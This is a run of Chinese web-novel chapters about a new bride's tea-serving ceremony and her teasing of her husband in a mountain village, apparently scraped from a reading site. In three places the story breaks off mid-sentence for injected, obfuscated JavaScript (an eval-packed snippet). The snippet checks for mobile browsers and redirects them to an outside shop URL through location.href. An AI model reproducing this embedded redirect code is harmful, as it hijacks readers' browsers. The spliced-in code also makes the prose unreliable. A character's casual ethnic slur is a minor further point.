莲荷呸一口,“你现在小不懂事,等你长大了,开始思春,说不定天天想着嫁人!” 小莲叶顿给说得满脸通红,捉着刀莲荷的手臂绷着小脸儿严肃道:“姐,你这人最坏了,老是埋汰人……” 堂屋那头传来曹秀珍的呼唤。 白氏换好衣服下楼来。 曹秀珍走到堂屋门口把刀莲荷和莲叶叫进屋来,“你两个端两根板凳进来坐到。” 莲叶收起哭脸,拉了拉姐姐的衣袖,“堂伯娘喊我们去堂屋。” “听见了。莲叶你记住啊,不要理那个女人,也注意别被堂伯娘当枪使了。堂伯娘那人心眼儿多得很,还见不得别人好!” “哦。” 姐妹两个在旁边水桶里洗了手,扯扯衣服,拢了拢头发,相携着去了堂屋。 刀莲生把妹妹们剁好的红苕藤,用个背篓装着抱到牛圈里倒到石槽中,又提了半桶水来倒进槽里。 牛背后上抚摸了两把,侧头将堂屋看了又看。 两个妹妹迟迟没出来,母亲和海棠堂伯娘三个也没出来,不知道几人在堂屋做什么。也不知道堂伯娘和母亲商量好了要怎么为难海棠…… 在圈棚里踯躅良久,刀莲生慢慢走到堂屋外头,背贴在外墙上,竖起了耳朵。 曹秀珍将白氏按坐在北墙那张八仙桌旁,又指挥刀莲荷和刀莲叶依次坐到另一边去。 随后,曹秀珍面色一整,威严地说:“堂侄媳妇儿,你过来,堂前跪下!” 海棠料到今日必然有一场戏。 刀莲生家里没男性长辈,家里又是女人居多,于是婆婆的堂嫂子曹秀珍就出面来主持这一切。 她自娘家回来,婆媳之间,夫妻之间,都心存了个疙瘩。如果有个中间人来说和一下,以后她同刀家一家子在一个屋檐下生活舒舒坦坦,其实挺好的。 不过要的就是她当面认个错,说些好听话罢了。只要不打她、不羞辱她,要她伏低做小,新婚夜跑回娘家一事就翻篇儿了,这她完全可以接受啊。 海棠于是二话不说,在白氏面前直挺挺跪了下去。 倒把白氏弄得有些不大自在。 昨晚她追打海棠,海棠还敢抄起板凳跟她对抗。现在无端端叫她下跪,她竟一声不吭。 曹秀珍自鸣得意,觉得这新媳妇这么听话,全都是她的功劳。 如果她是刀莲生的亲娘,哪可能发生儿媳妇洞房夜跑了的丑闻?全是白氏这做婆母的不中用。 曹氏说话的时候,脸上表情很丰富,眉飞色舞的。海棠跪好后,她大喇喇在刀莲生这一家子老的老、少的少的女人堆里扫来扫去,最后目光落回到白氏身上,一笑:“我说桂景妹子,你肯定是没喝新媳妇敬的茶,儿媳妇才要跑的。汉人地方娶新妇,婆婆都要喝新媳妇敬的茶,喝了就表示正经接纳这儿媳妇成为家里人了。你不喝,她不敬,这婆媳关系如何能成?所以今儿赶紧的,我来做个主,叫你儿媳妇给你敬杯新妇茶,管保从今往后一家子和和美美的过日子!” 白氏阴沉着脸不做声。 曹氏看向海棠,冷声道:“堂侄媳妇儿,我先前叫你守着火塘烧开水泡茶。怎的那把铜壶还搁在地上的呢?” 白氏闻言,铁青着脸狠狠剜了眼海棠。 但是,从这里开始,事情并未朝曹氏和白氏预设的方向走。 只听海棠含笑,脆声声答道:“堂伯娘,您之前吩咐我烧水泡茶,我那茶已经泡好了。因着怕婆母和堂伯娘喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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海棠又说:“娘,儿媳深知百善孝为先。这杯茶不仅是我对您的敬意,更是我今后尽心尽力侍奉您的决心。请您放心,儿媳定当克尽妇道,以孝为先,努力做一个好媳妇,孝敬您,为您分担家务,照顾好这个家。更与两个小姑子和睦相处,不红脸,不吵嘴,相亲相爱一辈子。” 一旁的刀莲荷和刀莲叶料不到海棠还会提到自己,姐妹俩相视一眼,刀莲荷嘴一撇,不屑。刀莲叶甜甜地冲嫂子笑。 听到这里,白氏绷着的老脸和缓了许多。她缓缓伸手接过了海棠一直高举的茶碗,低头就要喝,曹氏这时候轻咳了声,白氏便皱着眉头,端着茶碗轻轻荡着浮在上面的茶叶沫子。 一开始曹氏就放话了,婆婆喝了媳妇敬的茶,才表示真正接纳了她这个儿媳妇进门了。 看白氏端着茶碗却迟疑不喝,海棠想了想,萌生一个大胆的主意。 她微微勾着头好似娇羞起来,语气放轻,她用着大家都能听到的音量轻声说:“娘,我一定跟夫君琴瑟和鸣,举案齐眉。不说三年抱俩,两年肯定生一个出来,总之我一定和夫君努力生孩子就是了,您就放心喝茶吧。” 刀莲生:“?!!” 21. 第 21 章 白氏再也抑制不住激动,端着茶碗的手都在抖,她双目含泪连道三声好,“好,好,好,不过儿媳妇儿啊,两年时间也太长了些,你使把劲儿争取年内就生崽崽啊,也好叫娘心里的大石头落了地。” 海棠嘴角上扬,脸红道:“我一定听娘的话,多努力。就是这个事情肯定不是儿媳一个人使劲儿就行的,还得要,要……要夫君多多使劲儿才行呢。” 刀莲生再也听不下去了,从两步台阶下直接跳下去,一头扎进牲畜棚里。 “你放心,只要你这头没问题,莲生那头我去给他说!” 说罢,白氏顾不得那茶汤还有些烫嘴,捧着茶碗一口气就喝了个底朝天。 海棠又端起第二碗,递给了曹秀珍:“堂伯娘,堂侄媳妇儿敬您茶。” 曹秀珍拉长着脸,不甘不愿地接了过去。 海棠也没在意她喝没喝,直接站起身来,将剩下的两碗茶汤端着一一递给了刀莲荷和刀莲叶,脸上堆着笑容,说:“两位小姑子,嫂子请你们喝茶。从今往后咱们就是一家人了,大家一起努力,把咱家的日子过得红红火火的。” 两个姑子还是一冷一热的态度,倒是谁也没说话,端着茶碗都喝了个精光。 曹秀珍看着手上的茶碗,心头老大不舒服。 海棠一股脑儿把该当她和白氏要说的话讲的规矩都自己讲了,敬了白氏又敬她,还顺便把刀莲荷和刀莲叶也侍奉了茶,没按照她预定的计划来,搞得她全程无话可说,一点展示自己权威的机会都没有。 她还把白氏哄得眼眶都红了,反衬得自己好像故意来为难这堂侄媳妇的,只怕白氏心里已有些埋怨她今日强出头做得过了,这明明就是个好儿媳…… 想要耍的长辈威风没耍出来,曹氏只觉得一口痰卡在喉咙里,不吐不快,可吐又吐不出来,真是难受极了。 不甘的目光挑刺一般在海棠身上来回逡巡,忽然抓着一处,心头一冷哼。 她声音极响地只喝了两口,便把茶碗重重地墩在了八仙桌上。 “我说堂侄媳妇儿啊,”曹氏拉长了声调,“你既嫁到我们碧约寨来,以后就是窝尼家的女人了,不可以再梳你们汉人这种大辫子了。你瞧瞧你这样子,不驴不马的,像什么样!” 说着话曹氏上前,一把抓住海棠垂在胸前的大辫子就猛的一扯! 曹秀珍有意要给海棠点颜色看看,找回场子,手上暗自用了巧劲儿,表面看起来动作幅度不大,但其实海棠给扯得头皮生疼,更往前踉跄了一步。本能驱使,她抬手抓住自己的辫子,跟曹秀珍拔河一样暗自往回拉扯。 嘴里却说:“堂伯娘教训的极是。回头我就学学窝尼家女人的发型该怎么打理。” 曹氏也只是想暗自教训教训这看着已是不好拿捏的堂侄媳妇罢了,海棠往回拉扯辫子,她顺势就松了手。 听海棠那样说,挺满意,转头就对刀莲荷吩咐道:“你得空了,给你嫂子教导教导下咱们窝尼家嫁了人的女人该当怎么打理头发和穿着打扮。嫁了人就要有嫁了人的样子,言行举止不可以轻佻,打扮不可以花枝招展的,容易招蜂引蝶。这些事情,一点马虎不得。” 刀莲荷闻言,立即不满地嚷嚷起来:“干嘛让我教导她?我又没嫁过人,我怎么知道成亲后的女人那头发该怎么梳理!” 莲叶想起姐姐才教导自己的那话——不要掺和大人们之间的事,要戒备心眼儿多的堂伯娘——原以为姐姐就是打胡乱说,谁想还给姐姐料中了,不怪姐姐反应这么大,她忍不住噗呲一笑。 笑过后立即觉得不妥,忙双手死死捂住嘴巴。 这本来就是走个过场而已,哪里需要如此较真儿呢? 曹氏有点下不来台,暗自狠狠剜了眼刀莲荷。 白氏也替曹氏恼羞,她在桌上重重一拍,朝刀莲荷急眼道:“堂伯娘怎么说你应下就是了,呱噪个啥?不管嫁没嫁人,你老大不小,也该学学了,省得以后嫁了人闹笑话!” 海棠也实在忍不住,噗的一下笑出声来。 白氏和曹氏同时朝她横眉竖眼。 海棠忙敛了笑,微低着头,态度良好地说:“堂伯娘,得空的话我就去寨子里请教那些嫂子婶子些,一定按照堂伯娘教导的那些改过自新。” 她这行为,这态度,说的这话,都挑不出刺来。 曹秀珍铺垫了半天,又摆这么多谱,结果海棠不但笑着接招,还不动声色控了场。又被刀莲荷一顿打岔,严肃的场面彻底崩了,她脸上有些挂不住。 白氏也不大自在。 敬婆婆茶的仪式就这么匆匆结束了,白氏严厉地呵斥海棠赶紧去把院坝里还摆着的蔑桌饭碗收拾了,把锅碗瓢盆刷洗干净。 海棠忙应下,匆匆出了堂屋去收拾灶屋了。 白氏送曹秀珍出门。 一出了堂屋进了院坝,曹氏就低声埋怨起白氏来,“你刚才也太不沉着了。她就说了两句甜言蜜语就把你哄得晕头转向,我真是服了你了!我先前跟你说好的计策,你是一点儿都没施展出来。完了,你这儿媳妇太会哄人,只怕以后不是你拿捏她,而是她拿捏你、你儿子和你们全家了!” 白氏如梦方醒,后悔不迭,忧心忡忡,“哎呀,那怎么办?” “凉拌!这堂侄媳妇儿太能拿主意了。我还没见过才进婆家门就这么能拿主意的新妇。” 白氏心存侥幸,“或许这是个好事也说不定啊。我们家莲生是个优柔寡断的性子,娶个会拿主意的媳妇儿也许还挺好的。” “呵,好什么呀?你才说你和媳妇儿昨天干仗了,你觉得这么个一来就能跟婆婆干仗的女人,真能做个贤良淑德的儿媳妇?” 白氏一拍大腿,“哼,管不了她,我就叫莲生再打她就是,定把她打得服服帖帖的!莲生是个孝顺的,他一定不会向着他媳妇儿!” “也只能这样了。行了,你回吧,别送了。耽搁大半天工夫了,我要去地里忙活儿了。” “诶,好好,堂嫂子你忙去,今儿谢谢你了啊!” 经过牛棚,看见刀莲生扛着犁铧从里面出来,好似要下田去,忙扯住曹秀珍一起将儿子拦住道:“你才新婚,就在家歇个两三日,跟她好好处处。” 刀莲生道:“那怎么成?家里秧田还没犁完。” 白氏劝道:“不差这三两日。你一年到头都在地里头操劳,那么辛苦。才娶了媳妇儿,你就在家歇个几日吧。一则权当犒赏一下自己。二则,刚才她敬茶的时候,你也听到她说的话了吧?她要你多多使使劲儿哩。——你别急着撇清。我就向着大门坐的,我看见你的身子在外头晃了一下!” 刀莲生神色躲闪,别着脸,嗫嚅着嘴唇无力地为自己分辩,“娘,我只是来拿搁在檐下的锄头……” “我不管你拿什么,总之,娘知道你一定听见了。既这样,你就别老想着退婚把骡子要回来了,不如趁着在家的这三日,跟她培养培养夫妻情分,有机会,就同她把房圆了,也好了却了母亲夙愿。” 曹秀珍也在一旁帮腔道:“我们费心巴力给你娶这个媳妇儿回来的目的就是给你生小崽子,给你们刀家延续香火的!打铁要趁热,懂吗?” 刀莲生黑脸膛紫胀,低着头嗯嗯的敷衍应付了母亲和堂伯娘,赶紧寻了个借口说要寻根汗巾子,跑堂屋躲着去了。 白桂景回头看看,一声叹息,“这孩子嘴也笨了些,要是跟那女人一样会说话,多说点甜言蜜语,把女人哄得晕头转向,说不定孩子已经在女人肚子里揣着了。” “就是,女人都爱听好听话。不过莲生不止嘴笨,他心软,耳根子也软,还死脑筋,跟你这当娘的一样。哎呀,我要走了,看,又耽搁了一盏茶的功夫了。”曹秀珍拍拍白氏肩头要走。 白桂景心头过意不去,坚持要将她一路送回家。 两家其实就住隔壁的,中间隔着一条后阳沟以及一道院墙罢了。刀莲生家这边灶屋背后院墙内,就是曹氏家的牲畜圈。 两个女人上头侍奉的是同一双公婆的,只是早早就分家各过各的了,所以这老两妯娌之间平时没啥矛盾,关系挺好,曹秀珍时常来帮衬白氏。 刀莲生他大伯刀茂德因为健在,日子自然要比这边白桂景一个寡母独自拉扯大四五个孩子过的要好得多。人家修了四合院,起了高高的围墙,进屋要先进院门,是寨子里排得上号的不多的富户之一。 这头敬完新妇茶,海棠就去收拾厨房,洗碗洗锅。 这活儿很轻松。因为早饭没油水,所以碗筷很好洗,直接用清水冲洗一下就可以了。炕了饼子的铁锅有些胡锅巴,用竹刷把刷几下也干净了。 海棠甩着手上的水跨进堂屋,看见刀莲生站在墙边咬帕子。 先前洗脸的时候,刀莲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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因为之前咬的时候把帕子咬扯得皱成了一团,此刻一拉一扯一展,加之烧了一下,结果,展平后那帕子上老大一个洞不说,不少地方经纬都很稀疏了。 海棠幸灾乐祸:“滑线了,你这整张帕子都很容易坏掉了。” 刀莲生:“……” 白氏这时候跨进堂屋来。 海棠见到白氏回转,先前她已经跪着敬了新妇茶,喊过娘了,此刻海棠张口就喊,“娘。”十分丝滑。 白氏一直把曹秀珍送到她家院子门口才回转来。她还在为曹氏说的话忧心,此时看到海棠,心里说不出的别扭,淡淡地哼了声,算是回应。 海棠顶热情,倒了碗茶,上前去要递给白氏。 白氏脸色好看了点,摆手:“我现在不渴。” 海棠脸上也不见失落,回身搁下茶碗,又笑着说:“娘,家里有针线吗?” “你要做什么?” “夫君的洗脸帕坏了,我想给他补一补。” 白氏的脸色更好看了,叫来莲叶,“你去把针线篮子找出来给嫂子用。” 白氏上楼换衣服。 此刻她身上这一身,是逢年过节走人夫的时候才舍得穿的。最近一次穿它,还是娶儿媳妇进门那日。她脱下来,叠好,仍旧小心翼翼地压在箱子底下。 海棠坐在堂屋门槛上,拿着针线很认真地在刀莲生那块洗脸帕上烧烂了的地方缝缝补补。 因为先前听海棠嘀咕说要绣朵花把那个破洞遮起来,刀莲生就很好奇她会绣个啥花样儿出来,借着进堂屋拿矮板凳去坐的机会,他在跨进门槛的时候顿了一下。 海棠立刻察觉到了,扭头看来。 见刀莲生在看自己,她把那正在缝补的土布冲他扬了扬,“这条坏的以后就我用,你用我先前用的那块好帕子,别搞混了啊。” 刀莲生:“……” 白氏又把那身做活儿时候常穿的黑色土布衣裤换上了,又打算去地里干活儿。她心头盘算着今日要争取把所有旱地里的草都除一遍。下楼时正好听到海棠说的那句话,大声赞道:“以后都要像此刻这样,好东西都要先紧着自己的男人。” 刀莲生:“……” 刀莲生有口难言。 他洗过脸洗过澡的帕子,她拿去用了。 她洗过脸又洗过澡的帕子,还给他继续用,这算不算公平起见? 22. 第 22 章 吃过早饭,这头海棠敬完了婆婆茶,刀莲生扛起犁铧要下田。 白氏和曹秀珍都拦着他不让出门,尤其白氏心疼儿子才新婚,非要他在家待上个两三日,跟海棠两个培养夫妻感情,也是想让他趁机歇一歇。 儿子长年累月在地里干活操劳,难得偷下懒。 她自己则带着两个女儿赶忙下地干活儿去了。 刀莲生拗不过母亲,只好把犁铧放回牲畜圈,闲待在家里。 他一大早已先把灶屋那口大水缸挑满,然后又挑水给牛洗了澡,牛圈也清扫干净了。 挑水、扫牛圈是他每日清早起来必做的家务活儿。往日的话,做完这些,除开吃饭,他就几乎全天都待在地里了。这冷不丁要他在家闲待着,又是大晴天,还真是站也不是,坐也不是,坐立不安。 抬眼看见西墙上那根麻绳上挨着挂着两张土布帕子,就又想起了海棠说要绣朵花遮住新帕子上烧的那个破洞的事情。 新的洗脸帕现在挂在绳子上,想来她已经把破洞补好了。 海棠此刻不在屋内,刀莲生鬼使神差,立刻起身走到西墙下,抬手把那块洗脸帕抓在手里,迅速翻看那破洞处。 下一秒,他的黑脸膛黑了一分。 只见帕子上,海棠用红色棉线奋力把破洞洞口周边的经纬线往中间拉扯,最后扎了个小揪揪出来…… 这就算把洞补上了?? 你这是把洞堵上了还差不多! 抖开看看,这张帕子更皱了,因为破洞那里给缝在了一起,还是拉扯都扯不平整的永远皱在了一块儿。 所以,你要用这块帕子,是不想自己拙劣的绣活儿献丑于人吧? 门口的石阶上响起重沉的哒哒的脚步声。 刀莲生慌忙把帕子重新挂在麻绳上,假做去拿旁边墙上挂着的一把锯子。 锯子长久没用,已经有些生锈了,该打磨一下了。 这下想起有活儿干了。 没想到,一想到有活儿干,马上就又想起另一件活儿。 昨晚母亲说牲畜棚里有张破凉床,要他找出来修补一下,晚上好搭个舒适的床铺出来。 这时,海棠趿拉着一双大木屐从外头跨进堂屋来。 她去灶屋拿了把高粱杆做的小扫把和竹篾编的撮箕来,想把堂屋的地扫一下,尤其是火塘周边,不是草木灰就是木柴屑。不打扫一下的话,就会沾在鞋底上带走,最后弄得到处都是草木灰。 木柴屑也是个麻烦事。 她穿着鞋倒是不怕,只是刀家人白日里不爱穿鞋了,个个光着脚板到处走动,又习惯光着脚上坡下地干活儿。 那木柴屑极易插进肉里,伤了脚,好一段日子别想再下地干活儿了。 这地方的医学水平估计糟糕,卫生环境也堪忧。若是得了破伤风,更不得了,会死人的。 火塘又是个大家爱围聚的地方,所以最好及时清扫一下。 海棠专注地清扫着火塘周边的草木灰和木柴屑,她没注意到刀莲生立在昏暗的墙边角落,一双深邃的眼追着自己。 不,确切的说,是追着她一双白生生的脚看得入迷。 她小小的一双秀美的天足钻在木屐里,全靠鞋头那两根麻绳套住。木屐太大太长,鞋底板的后面大半截都拖着走,每走一步她都不得不抬高脚才能不在地上拖出很大声响。 刀莲生不动声色欣赏完,心头不禁盘算,正好他要修补凉床,到时候砍竹子的时候尽量挑根粗大的,顺便就给她做双木屐。 刀莲生把生了锈的锯子重新挂回墙上,大步跨出堂屋。 海棠这时候才发现他,喊了声:“喂,你去哪儿?” 刀莲生一心想着修凉床、给她做木屐,充耳不闻,下了地坝,就钻进圈棚里。 他在成堆的柴草和杂物中将那张破凉床找了出来,扔在院坝中。 看看那破损的地方,用不了多少篾条,砍一根竹子回来就可以了,费不了多少工夫。 回头看看圈棚,刚才翻找凉床的时候,旁边立着打谷子要用到的竹围遮,他记得似乎也是坏了的,一直没时间修补。 反正现在多的是时间。 刀莲生于是又钻进去把那围遮拿出来,解开腰间捆的谷草绳子,把卷起来的竹围遮展开一看,果然坏了一处,也得重新划点篾条来修补一下了。 得,这下活儿是越想越多了。 索性,趁着这几日在家,就把家里的农具都找出来修修补补好。 去年秋收后,农具收起来统统堆放在牲畜圈里。经过一个冬天和一个春天,一些农具生了锈,还有的缺口断齿,有的把手坏了,要磨一磨,修补一下,该换的换,该补的补。进入夏天,农活只会越来越多,马上,它们就又要派上大用场了。 另外,刚才看见海棠手里拿的那个撮箕也破损了,重新再编一两个给家里用。 有事情做了,刀莲生干劲儿十足。 先去牲畜棚里把所有破损的农具都翻找了出来,丢在院坝里。 今天阳光明媚,太阳快要升到头顶了。 这一番翻找,刀莲生热出了一头汗不说,还沾了一身灰尘、蛛网和柴草屑。 他进堂屋去拿帕子洗脸,见海棠正趴在地上,对着他——不是,她对着堂屋门撅着她那个圆俏的屁股,努力往火塘里猛吹风。只是因他进门就看见她撅着她的圆箩兜,不免心旌摇曳。 海棠在学着把火塘里的火烧起来。她要烧壶开水泡茶。 中午婆婆和两个妹妹从坡上回来吃午饭,肯定头一件事情是口渴想喝水。她得先烧好一壶开水,把茶泡好,放凉了,她们回来就正好喝。 看见刀莲生,随口又道:“你进进出出的,在干嘛哩?” 被问到,刀莲生莫名起了做贼心虚之意,他移开眼,快步往西墙跟儿下走去,对海棠压根儿不理会。 海棠还在后头说:“喂!你帮我把这火生一生呀,太难弄了。” 闻此言,刀莲生反而像做贼被抓包了似的,大步走到墙根下扯了自己的洗脸帕就逃也似地出了堂屋。 这下引起了海棠的好胜心。 她想,许是因着昨晚上叫他把床铺搬来搬去的事情,刀莲生才这么不待见她。 但是海棠就是有本事叫你不得不理她。 第一招,缠。 海棠这头把火塘的火生好后,铜壶的水煮上,没事可做了,她开始像只跟屁虫一样跟在刀莲生身后了。 他进灶房她也进灶房,他去堂屋,她也跟到堂屋来。他钻进牲畜圈去找东西她也跟着钻进来。偶尔给他搭把手,帮忙扛一扛农具,拾掇拾掇堆积如山的柴草。但大多数时候她一脸的稀奇,好像纯粹就是为了看稀奇的模样。 第二招,问。 她常指着不同的农具向刀莲生问东问西。 “这是什么呀?这么大一个盆子,洗澡用的呀?” 刀莲生若不回答,她会一直自言自语地自个儿在那嘀咕,越说越离谱、荒诞,配合她拉长的、拔高的惊叹词,荒诞不经得叫刀莲生都听不下去了。 你听她惊呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125916|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“哇塞,这么大个洗澡盆,肯定不是一个人洗澡用的。咦?难不成是一家子一起洗澡用的?妈呀,你们这里洗澡是这种风俗吗?那多难为情啊。想一想那情景,男的女的脱光了在一个盆里……哎呀,鹅的个天惹,你们这里的习惯跟印度阿三一样叫人大吃一惊!” 刀莲生:“……” 印度阿三也是跟他们碧约寨的人一样,是比汉人少很多人口的异族人吗? “啧啧,这也太不讲究了。”她嗟叹,“昨天堂伯娘教育我的时候,说得那样严肃端庄,这也不行,那也要注意。我还以为你们这里挺传统,挺含蓄,没想到,啧啧……不过,你们是不是不经常洗澡啊?看这盆到处都是灰,多久没用了?哇哦,你们不会是一年才洗一回澡吧?” “我原来就听我爹娘说有些山里人因为水难弄,一生才洗三次澡,一次是出生的时候,一次是成亲的时候,最后一次是大限的时候。天惹,简直无法想象那些人身上会有多脏,味儿有多重。唔,我知道了!难怪你们这里的人穿的衣服不是黑色就是蓝色。这两种颜色的衣服不显脏。衣服上还要绣那么多艳丽的花样儿,多半是为了转移别人的注意力,好叫人不注意身上的味儿。唉,有那绣花的功夫,经常洗澡,洗得香喷喷的不好吗?还不容易生病……” 刀莲生无语极了,只好说:“拌桶。不是洗澡盆!”压制住她越来越不像话的打胡乱说。 “哦,拌桶是干什么用的?” 刀莲生学乖了,马上回:“打谷子、做红苕粉的。” “哦。我们那儿农村都不用拌桶,我们用机器脱谷穗,也用机器做红苕粉,省时省力还不占地方。——哈哈,这玩意儿好像猪八戒的钉耙啊,我还没见过诶。它叫啥来着?” “就叫钉耙。” “呃。那,那它能干嘛?不会是用来打妖怪的吧?” “……平整田地。” “哦,整田我们那儿也不用这玩意儿,也用机器,省时省力。——咦,这个长得像钉耙的低配版我知道诶,抓耙儿嘛。跟我们那儿的一模一样,也是用竹子做的。但我们那儿人用这个打妖怪……” 刀莲生明显愕了下,还真打妖怪? 他不禁抬头去看海棠,观察她神色有几分真。 且听海棠兴致勃勃地继续说:“有一回我去下乡姥姥家,姥姥他们村有个混不吝的男人,青天大白日的一早跑出去,对老婆说是上坡掰包谷,结果是溜到隔壁寡妇家跟人睡觉,被他媳妇儿捉奸在床。他媳妇儿就抄起把抓耙儿追着那对狗男女追打了十几条田坎,他家大黄狗也汪汪汪的追着一路叫了十几条田坎,全村人都笑死了,哈哈哈哈。对了,你们这里抓耙儿是用来干嘛的?” 刀莲生:“……” 果然是胡诌的,不想理她了,怕她再说出些叫他脸红耳赤的事情来。 他提起水桶把各样农具冲洗干净,晾晒在地坝里。 但是他心里十分艳羡她说的那个机器,居然能有那么用处,就跟骡子一样能干。 海棠又发现了一样她没见过的农具,抓在手里冲他扬了扬:“这是嘛玩意儿呢?干什么用的?” 刀莲生坚决不再理她。 一个晌午,回答她这、回答她那,他嘴巴都说干了。 这些都有什么好问的?每样工具做出来,必然是有用处的。没用处,费那工夫干什么? 他只想听她说话。 她说话不着调,东拉西扯倒是有趣儿,他爱听。 如果她不问他问题,他想他可以听她说一整天。 23. 第 23 章 海棠从堂屋端了根矮板凳出来,坐在刀莲生跟前,托着腮帮子看他磨刀。 无意中一仰头,惊见太阳都偏西了,估摸着只怕是下午两三钟了吧,暗示刀莲生说:“娘和妹妹她们怎么还不回来?她们中午不回来吃饭吗?” 刀家的早饭因为是九点多将近十点钟才吃的,到了晌午,海棠没觉得饿,就没注意到午饭时间竟早过了。 其实也还别说,早上那块玉米杂粮饼虽然难以下咽,可是吃了很涨肚子,轻易还不觉得饿。 她刷短视频看山里人去坡上干农活儿,人家直接带着干粮下地的,以免得回家吃饭耽搁干活儿的时间。因为大山很大,很可能家里的地在另一片山头,路远。还有个原因,山路也难走。 不过也不知道那是短视频博主编的剧本,还是现实里山里人本来就是这个样子。 海棠但想,碧约寨的那些梯田就在寨子下面的,应该不需要带着干粮下地干活儿吧。就是不知道婆母是去的水田,还是旱地。如果是旱地,还真可能午饭不回来吃了。 刀莲生也坐在一张矮板凳上,两条大长腿岔开了抻直了搁在地上,两腿中间立着一块十多分高的狭长的磨刀石,正在磨一把蔑刀。 那些要修修补补的农具清洗晾晒在地坝边后,他就把磨刀石搬出来想把蔑刀磨一磨,下午去砍竹子划篾片都要用到这刀。 既然已经架起了势,自然就要顺便把家里所有的刀具,生了锈的,卷了口的,刀口用钝了的,都一并打理下。该除铁锈的除锈,该打磨锋利的磨锋利。 他左边腿旁放着已经打磨锋利了的两把镰刀,一把锄头,还有先前墙上挂的那把生锈的锯子。右边腿则堆着尚未打磨的一把砍菜刀和一把剪刀。 刀莲生手里正在磨蔑刀。 “要回来吃。”他嘴里说,没看海棠,“娘她们今天去的地不远,中午回来吃。” 旁边泥地上搁着一碗水,他大手掌端起水碗往磨刀石上倒了点水。然后他左手压在蔑刀刀刃上,右手握着刀把,把那把蔑刀紧紧压在倾斜的磨刀石石面上,往下坡的方向,一下下地磨。磨了个七八下,停一会儿,用左手大拇指指腹去刮一下刀刃,验看它的锋利程度。然后再把刀翻过来,改换双手,右手压在刀刃上,左手握着刀把磨另一面刀刃。快速磨个七八下,停在来,又用右手大拇指的指腹去刮擦一下刀刃,看它是否已经足够锋锐。 他没包包头布。他在家都不戴包头布。 钢针般的短发丛林里亮晶晶的,已经全是汗水。他今天穿一件无袖的对襟短褂,露出的粗胳膊上和宽阔的额头上都已浸出了汗水。汗珠子静静地趴在他黝黑的肌肤上,闪着太阳反射的细碎光芒。 许是听懂了海棠隐含的意思,他又说:“午饭待会儿小妹会回来做。” 海棠一愣,“干嘛要等莲叶回来做?你在家,怎么你不去做?” 刀莲生睇她一眼:“娘说,男人围着锅台转没出息。” 言者无心,听者有意。 海棠心头就想,他这是暗示她该去做饭吗?女人围着锅台转是理所当然,男人吃现成的就是天经地义?呸,你个大男子主义! 海棠抿嘴一笑,托腮的手放下来搭在膝盖上,脑袋歪着,她把歪着的脑袋伸到刀莲生眼皮子底下,抬眼仰看着他,笑谑:“其实你是根本就不会做饭吧?却把责任推到娘身上。” “会。”刀莲生斜她一眼。 “会做你不去做,做了你会掉块肉?” “……” 海棠一副理所当然的口吻,刀莲生不禁开始怀疑,难道母亲的话错了,汉人那里,男人做饭是件很寻常的事情? 他含含糊糊地回答:“只要家里有女人在,娘就不会让我亲近灶台。” “这样啊。哎,娘这个思想真是要不得,太陈腐了。说白了,她就是重男轻女嘛,舍不得儿子多吃点苦,多做点事,跟出息不出息一点关系都没有。她眼里觉得女人低贱,不值钱嘛。咋能这么想呢?娘自己也是女人啊。女人何苦看轻女人?女人何苦为难女人?哎——”海棠重重地叹气。 刀莲生:“……” 刀莲生也愣了,不禁停下手里的活儿,抬眼看着海棠。 事实竟是这样的么? 可是儿子在寨子里任何一个父母亲眼里,的确都是顶顶重要的。 他开始不确定了。 从来,母亲说的话就是圣旨一样。 他接受的家教里,从小到大,母亲给一家子灌输的思想就是,她坚定地认为男人如果围着锅灶转一定会没出息的,所以家里的饭食基本上都是家里三个女人在操持。因为这活儿轻松,莲叶长大了点后,就主要是小妹来负责做了。 海棠这个问题他还真是从没想过。 现在想一下想,对啊,男人做了饭,真就没出息吗? 可是,寨子里的男人不做饭,也没见谁特别有出息过。还不是跟他一样在地里田头早出晚归的辛勤耕耘着,可是一个个还是那么穷,住茅草顶的土坯房,吃杂粮饼,火塘上的悬梁架挂的那几块腊肉好几年都舍不得吃,挂那里就是起个显摆的作用罢了。 反倒是家里有能干女人的,那些女人像个男人一样抛头露面,并非一味围着锅台转,那个家反而捯饬得富裕些。像堂伯娘家,家里养了两头猪。李桂婶儿家,开了磨坊。招满叔家,他老伴儿精明能干,家里一头牛一头骡子,还养了条驴拉货。 刀莲生只觉得脸膛莫名发烫起来。 有出息的人是不分男女的,男人女人想要出息,也不是围绕不围绕锅台转能决定的。 感觉不能再坐这里继续磨刀等着小妹回来做午饭了,海棠那目光刺得他如坐针毡。 他现在才发现,好像他喜欢做的事情,就觉得母亲的话对。不喜欢的,就觉得母亲的话错。却从没真正盲目地认为母亲的话全是正确的。 比如母亲当初逼他娶媳妇儿,他不喜欢,就觉得母亲是错的,驳斥她。 又比如做饭这个事情,他现在意识到,原来其实,只因为他潜意识是不喜欢做饭罢了,就如海棠所言,他把责任推在母亲头上。根本与出息不出息,是没必然干系的。 刀莲生搁下手里的蔑刀,起身就往灶屋走。 海棠仍旧跟在他屁股后头也一并往灶屋走。 